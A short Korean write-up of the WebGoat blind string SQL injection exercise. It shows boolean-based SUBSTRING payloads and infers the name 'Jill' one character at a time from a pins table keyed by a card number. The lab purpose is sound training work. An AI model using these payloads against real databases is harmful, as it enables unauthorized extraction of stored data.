[WebGoat] Blind String SQL Injection
cc_number가 4321432143214321인 행에 대한 pins 테이블에서 필드 이름 값을 찾는 문제
SELECT * FROM user_data WHERE userid = [입력값]
현재 SQL문은 위와 같다.
101 and (SUBSTRING(SELECT name from pins where cc_number='4321432143214321'),[pin의 몇번째 문자열을 비교할건지],1) > '[문자]')
위의 SQL문을 삽입하여 name의 첫번째 자리부터 유추하면 name 값을 얻을 수 있다.
1) 첫번째 자리
101 and (SUBSTRING(SELECT name from pins where cc_number=4321432143214321),1,1) > 'I')
valid => name의 첫번째 자리는 I 보다 크다
101 and (SUBSTRING(SELECT name from pins where cc_number=4321432143214321),1,1) > 'J')
invalid => name의 첫번째 자리는 J보다 크지 않다.
I보다 크고, J보다 크지 않으니, 첫번째 자리는 J이다.
2) 두번째 자리
2,1) > 'h' => valid
2,1) > 'i' => invalid
두 번째 자리는 i이다.
3) 세번째 자리
3,1) > 'k' => valid
3,1) > 'l' => invalid
세번째 자리는 l이다.
4) 네번째 자리
4,1) > 'k' => valid
4,1) > 'l' => invalid
네번째 자리는 l이다.
5) 다섯번째 자리
5,1) > 'A' => invalid
다섯번째 자리는 존재하지 않는다.
즉, name은 4자리
따라서 name은 'Jill'이다.